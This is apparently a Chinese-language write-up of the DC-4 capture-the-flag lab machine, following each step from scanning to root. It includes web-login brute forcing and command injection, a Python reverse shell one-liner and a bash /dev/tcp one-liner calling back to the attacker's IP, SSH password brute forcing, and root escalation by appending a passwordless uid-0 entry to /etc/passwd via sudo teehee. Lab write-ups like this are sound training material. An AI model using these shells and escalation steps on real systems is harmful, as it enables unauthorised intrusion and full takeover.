-
一、探测存活主机
使用arp-scan -l探测DC-4的IP为192.168.18.138
-
二、扫描端口
使用nmap -sS -A ip扫描端口,22、80开放。
-
三、目录爆破
使用dirsearch爆破目录
四、反弹shell
访问80端口,是一个登录界面
尝试了简单的弱口令无果。于是尝试爆破,爆破了10w的字典,爆破出密码为happy后登录。
进入界面后是选择界面,一次是“列出文件”“磁盘使用情况”“磁盘可用”。
通过抓取“列出文件”数据包,发现通过post方式进行radio传参
修改为whoami后执行成功,显示为低权限用户
既然可以执行命令,那先反弹shell。
Kali开启监听:nc -lvp 5555
使用了bash -i >& /dev/tcp/192.168.18.130/端口 0>&1反弹shell,发现无法反弹。
使用python反弹shell成功:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.18.130",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用python升级成交互式shell:python -c 'import pty; pty.spawn("/bin/bash")'
五、获得用户信息
进入home发现有三个用户,只有jim文件夹中存在内容,其余两个为空。
在backups中有old-passwords.bak文件,里面为密码字典。既然前面扫端口时开放了22端口,那试着爆破一下。
成功爆破出密码为jibril04,直接ssh连接
Sudo -l查看jim临时使用root权限的命令,并没有可执行的命令
运行jim用户下的test.sh,看了半天也不知道是什么意思
后面发现在ssh登录之后会提示“有一封邮件“,应该从邮件下手。
邮件路径:/var/spool/mail,找到Charles发给jim的邮件,里面有charles的用户密码:^xHhA&hvim0y
六、teehee提权
Ssh连接charles账户,并查看能执行root权限的命令,有teehee命令可以用于提权,teehee作用是向文档中追加内容。
核心思路就是利用其在passwd文件中追加一条uid为0的用户信息:
echo "kali::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su kali就可以登录到kali用户,这个用户因为uid为0,所以也是root权限。
追加用户条目:echo "kali::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
查看/etc/passwd里的密码信息,存在kali用户添加成功。
Ps:下面创建这么多用户是因为su时提示需要密码,切换失败。后面重启环境即可解决。
添加成功后切换用户即可到root用户,提权成功。
找到root目录下的flag。
七、总结
主要考察teehee提权的的利用;另外还是要仔细,像获取Jim用户信息时,提示了有一封邮件没有注意,导致后续卡壳了。